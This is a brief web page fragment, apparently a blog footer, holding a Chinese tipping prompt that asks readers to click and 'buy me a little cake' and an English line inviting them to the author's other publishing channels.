点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels